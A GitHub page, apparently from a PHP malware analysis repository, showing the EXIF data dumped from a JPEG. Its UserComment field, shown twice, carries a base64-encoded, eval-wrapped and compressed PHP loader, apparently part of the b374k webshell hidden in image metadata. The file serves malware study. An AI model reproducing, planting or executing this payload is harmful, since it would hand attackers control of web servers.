php-malware-analysis/webshells/b374k/exif_data at master · bediger4000/php-malware-analysis · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
array(10) {
  ["FileDateTime"]=>
  int(0)
  ["FileSize"]=>
  int(6447)
  ["FileType"]=>
  int(2)
  ["MimeType"]=>
  string(10) "image/jpeg"
  ["SectionsFound"]=>
  string(19) "ANY_TAG, IFD0, EXIF"
  ["COMPUTED"]=>
  array(7) {
    ["html"]=>
    string(24) "width="140" height="140""
    ["Height"]=>
    int(140)
    ["Width"]=>
    int(140)
    ["IsColor"]=>
    int(1)
    ["ByteOrderMotorola"]=>
    int(0)
    ["UserComment"]=>
    string(2816) "ZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJ3JWWmJqNk5HR24xZktmOWgzM3FpeVFOZ2U2WlJGQ25ZZ0xtVndhWmMySDVwQVRFR2JITnhRNW5pMStlcmNrL1A3Q1NyeVVyN1VFSlExSGM1NTN3SGZxY3hmY2x1cHc5UFNYNUs4OU5MbmIrKzNvNDA3cDUra1g3KzlhZC8vZjcrUWt1emxGV1hsOXZ4bUJ5enAxLysvZGdYdHkvSFc1b2NUM0RzZzNoNkt5cjJvYTZ5MjZmcFMzdHJrdmIyNFNuYTJpVlpTeDJocStkcWE1enE5YlJiNEo1NWp2NXhzVFhTRnAvWmdxNU9DOU5mM2h4N3FCd3RnZmRQWkYwV0xXWlNqYTJQaTBCTmtCTU9pL3VaMW9veGcrc2RPVE1KdWVUakFuZG51QjlyWlNZUmpIcFBzVlEzaUN6UDZZdmFDUnRDL1d2bHBteGhsMVNEUmJCVzFGaTk4SHVpb1BHd1hwV0hzS1NMNGN3OE44cEphQlJrRTdGMmE3RG1YaFpvVlBOMlBYM2VLMjk1SnRHSjRQQU90UlgxWFc0STR6RmwxdUsrUUd1NGovMmltUmc4TDZ0SFRicTV2c2hkdTNZR1owcklJZTBWVkRTamRFSTRsRHhSMDZ5dkhWRzMzT0J6NFRtUVc4UmxBei9idW41V0srR0EzS2doOStsemkwTUt1SFRlcUY0UXRrVXZCMWhRbjlTSWZSMzIybnV0bkl1RzEwZ1BwZWh6N1l2em9xZkEvODk5ekxGNDdGZk9yR3hkdld1M3JFUkwyQjlSV21PYjk1UjdqaXo2UVNQTEVLOTlxNlcza2RkT1pJRWoxSUFDbnlMbEc1eXZxL0lkNS9zNXJXTmZodnp2c2R5SlhkWWhqMlhNR2l4d3VMWk9kS3BjZ1dNcWNHVXF4NGJmSzU1emxrVmRETTVodFlkOHVITE9ER3JnV3BFUTUydGlnRjVBUTl2SE04K0pNclRrUEFycytiT3ZHZ3JVaDY0bytielcweFRScm90Q1ZWL0ttdVZjMmxlT2Z5UkwzV0lKT3Y0dUorZzZKZHRNQzBZMjdqYUE2Y1NmN1FMajFSall3YkMxT2xJNGRsWU05TWN0bGt0WEVWekhybG55SE5pMHpxRWxaN0hBMDJ4YnlDZHdnWHpwenZRL2s1VzBRekFUOVdVVkx6RFh1OGJxbUd0enFnWC9EOTB6elRabExiUXV2bTF0emd2ZDBydWxGUzd0VFVoSXNPbS94MmxCRzFIVHE4N3JPbC9SZHpXdTllU0x2a2JQMFVSK0c0ZEpyY2c5OE5NMUN2c2t1THNMUFgyalFXMUU5NjhhOVJRN2I3bTJZZVlYUStzYlVuZ2dvYTB2TjZwdkJMNm0yNXFsVzExSGxtWGgzYWZ4L0xMU2dsaDZMTTRGWnRkR3NTWEJoV1FEajZUOE1rZUVBYll1NTh5K1YvZ1p2TW1RbTBCd3IwTDl4Zjd5L09OVlNqdVl6Ny9OQTdVZi81S0QrWDB6MFNiZ0h3UFpXTjJja2p6Q29ReSs4ZHJnOE5wYzRWM3EvMC81SzhmcmRsak01aXR5K3hSODU3b0xtaHhoRXUvTWdjZjdUQUpmSmRqT0dzWHFibkFtMm9LL2NUK090Umx5ak5SVCt0WE40Znc4NTU2aW5zaWQxMkh3K2ZzRE9KWDR1NkRUcFdGSERxdzY0bHBoQ0pZNjF5MDVCSjBDYnNsUVlidm5YaVJpRCtoU0s5SW5zcEdoWjZPdkF2RCtNZVR4anpxV2UvQ3ZVK3RvUlhXWkFmL1N4N2VjSitScVY4OXAyU09HUGVWZVdJRVB6YW1mZ0IrWGMvcGNFRHI5VVQwNUFTNHN5VGJ0d1RaaG5rekREbTJZUmN1VmJkT0VHWnNERGpBamFSMTBRNHVmTTNqL3ZkOTlzQnBxeHdaT3d4anhHUlhmS3BnM09vZythM01GZUlLSFlEdmZCWVJqVGVFTWJTOGtKVEJmQkJzcE1sY0orQUxkTFVWZjBtMnJkd3R6UlVXZkk1bzBJNU9RMlVFc2lMODFwbTNBWTZlangyZEJzWklJU3ltdkViZzUxWW9Pc1dhRFIwbDJXSHNnN3VFejJjS0YvZ09Od0lLYU85QkpVZ0cyeU5VVHdHNXIyRVpON3VBUG9JczZpTnFkeVVSdm5qUHJxK3NHYXZWSDRhZEt5OXBRdlhPUDRSN1FYRG9LMzNDcDJSNCs3UzhxK0F2Z2NwbkZ0YUxHNEhGQ1AvdUpCdDkwcS9ER0h1S2ZzOE9TWFBkS2xPeGozaWNSZlVWNEZpTWxuS0RsSXhkNEpxdHBSMkVXR01kK0gvc0p6R05HNG9hQ0J4WU45ZUcvd09wMlFSU0RqNmVOc3VsZ1pvNkVQbkJySnhIUG1Yd1RONFBaQWgvTnpvSURjQmJ3dnF2QWZHeGp6MjNad1JSbnhYOEZlQnVQZmFnVnJYOTgxMU1Kc0FFOUh2SUc5eVhQd3ozdW5ZL1lnSE15Nzcyc3RpdTZYNjhVRFlMTkovK2NsN2Y1L1R0ZUJ1UUlQNmV1T2FSaVpoKzkvSmlYTlhqSGhQdU13YnlSNWZzUlBOOVVMNTdiRk5xUSt0bzEycyt4OUVXWE9WTGF2Z1ZmK0phRHc3YkwrWDhhb2VWZk5UMjJQY1M5ZXFaZlFqMzBEZHV2ZW43RGRoOFlmVDJHeC8rRy9lUDVsN21DdUFQODh5aWhWRGxxUHIvNzAvM1lTN1ZKT0o2L1BmM00veXovQkE9PScpKSkpOw=="
    ["UserCommentEncoding"]=>
    string(5) "ASCII"
  }
  ["Software"]=>
  string(6) "Google"
  ["Exif_IFD_Pointer"]=>
  int(46)
  ["ExifVersion"]=>
  string(4) "0220"
  ["UserComment"]=>
  string(2824) "ASCIIZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJ3JWWmJqNk5HR24xZktmOWgzM3FpeVFOZ2U2WlJGQ25ZZ0xtVndhWmMySDVwQVRFR2JITnhRNW5pMStlcmNrL1A3Q1NyeVVyN1VFSlExSGM1NTN3SGZxY3hmY2x1cHc5UFNYNUs4OU5MbmIrKzNvNDA3cDUra1g3KzlhZC8vZjcrUWt1emxGV1hsOXZ4bUJ5enAxLysvZGdYdHkvSFc1b2NUM0RzZzNoNkt5cjJvYTZ5MjZmcFMzdHJrdmIyNFNuYTJpVlpTeDJocStkcWE1enE5YlJiNEo1NWp2NXhzVFhTRnAvWmdxNU9DOU5mM2h4N3FCd3RnZmRQWkYwV0xXWlNqYTJQaTBCTmtCTU9pL3VaMW9veGcrc2RPVE1KdWVUakFuZG51QjlyWlNZUmpIcFBzVlEzaUN6UDZZdmFDUnRDL1d2bHBteGhsMVNEUmJCVzFGaTk4SHVpb1BHd1hwV0hzS1NMNGN3OE44cEphQlJrRTdGMmE3RG1YaFpvVlBOMlBYM2VLMjk1SnRHSjRQQU90UlgxWFc0STR6RmwxdUsrUUd1NGovMmltUmc4TDZ0SFRicTV2c2hkdTNZR1owcklJZTBWVkRTamRFSTRsRHhSMDZ5dkhWRzMzT0J6NFRtUVc4UmxBei9idW41V0srR0EzS2doOStsemkwTUt1SFRlcUY0UXRrVXZCMWhRbjlTSWZSMzIybnV0bkl1RzEwZ1BwZWh6N1l2em9xZkEvODk5ekxGNDdGZk9yR3hkdld1M3JFUkwyQjlSV21PYjk1UjdqaXo2UVNQTEVLOTlxNlcza2RkT1pJRWoxSUFDbnlMbEc1eXZxL0lkNS9zNXJXTmZodnp2c2R5SlhkWWhqMlhNR2l4d3VMWk9kS3BjZ1dNcWNHVXF4NGJmSzU1emxrVmRETTVodFlkOHVITE9ER3JnV3BFUTUydGlnRjVBUTl2SE04K0pNclRrUEFycytiT3ZHZ3JVaDY0bytielcweFRScm90Q1ZWL0ttdVZjMmxlT2Z5UkwzV0lKT3Y0dUorZzZKZHRNQzBZMjdqYUE2Y1NmN1FMajFSall3YkMxT2xJNGRsWU05TWN0bGt0WEVWekhybG55SE5pMHpxRWxaN0hBMDJ4YnlDZHdnWHpwenZRL2s1VzBRekFUOVdVVkx6RFh1OGJxbUd0enFnWC9EOTB6elRabExiUXV2bTF0emd2ZDBydWxGUzd0VFVoSXNPbS94MmxCRzFIVHE4N3JPbC9SZHpXdTllU0x2a2JQMFVSK0c0ZEpyY2c5OE5NMUN2c2t1THNMUFgyalFXMUU5NjhhOVJRN2I3bTJZZVlYUStzYlVuZ2dvYTB2TjZwdkJMNm0yNXFsVzExSGxtWGgzYWZ4L0xMU2dsaDZMTTRGWnRkR3NTWEJoV1FEajZUOE1rZUVBYll1NTh5K1YvZ1p2TW1RbTBCd3IwTDl4Zjd5L09OVlNqdVl6Ny9OQTdVZi81S0QrWDB6MFNiZ0h3UFpXTjJja2p6Q29ReSs4ZHJnOE5wYzRWM3EvMC81SzhmcmRsak01aXR5K3hSODU3b0xtaHhoRXUvTWdjZjdUQUpmSmRqT0dzWHFibkFtMm9LL2NUK090Umx5ak5SVCt0WE40Znc4NTU2aW5zaWQxMkh3K2ZzRE9KWDR1NkRUcFdGSERxdzY0bHBoQ0pZNjF5MDVCSjBDYnNsUVlidm5YaVJpRCtoU0s5SW5zcEdoWjZPdkF2RCtNZVR4anpxV2UvQ3ZVK3RvUlhXWkFmL1N4N2VjSitScVY4OXAyU09HUGVWZVdJRVB6YW1mZ0IrWGMvcGNFRHI5VVQwNUFTNHN5VGJ0d1RaaG5rekREbTJZUmN1VmJkT0VHWnNERGpBamFSMTBRNHVmTTNqL3ZkOTlzQnBxeHdaT3d4anhHUlhmS3BnM09vZythM01GZUlLSFlEdmZCWVJqVGVFTWJTOGtKVEJmQkJzcE1sY0orQUxkTFVWZjBtMnJkd3R6UlVXZkk1bzBJNU9RMlVFc2lMODFwbTNBWTZlangyZEJzWklJU3ltdkViZzUxWW9Pc1dhRFIwbDJXSHNnN3VFejJjS0YvZ09Od0lLYU85QkpVZ0cyeU5VVHdHNXIyRVpON3VBUG9JczZpTnFkeVVSdm5qUHJxK3NHYXZWSDRhZEt5OXBRdlhPUDRSN1FYRG9LMzNDcDJSNCs3UzhxK0F2Z2NwbkZ0YUxHNEhGQ1AvdUpCdDkwcS9ER0h1S2ZzOE9TWFBkS2xPeGozaWNSZlVWNEZpTWxuS0RsSXhkNEpxdHBSMkVXR01kK0gvc0p6R05HNG9hQ0J4WU45ZUcvd09wMlFSU0RqNmVOc3VsZ1pvNkVQbkJySnhIUG1Yd1RONFBaQWgvTnpvSURjQmJ3dnF2QWZHeGp6MjNad1JSbnhYOEZlQnVQZmFnVnJYOTgxMU1Kc0FFOUh2SUc5eVhQd3ozdW5ZL1lnSE15Nzcyc3RpdTZYNjhVRFlMTkovK2NsN2Y1L1R0ZUJ1UUlQNmV1T2FSaVpoKzkvSmlYTlhqSGhQdU13YnlSNWZzUlBOOVVMNTdiRk5xUSt0bzEycyt4OUVXWE9WTGF2Z1ZmK0phRHc3YkwrWDhhb2VWZk5UMjJQY1M5ZXFaZlFqMzBEZHV2ZW43RGRoOFlmVDJHeC8rRy9lUDVsN21DdUFQODh5aWhWRGxxUHIvNzAvM1lTN1ZKT0o2L1BmM00veXovQkE9PScpKSkpOw=="
}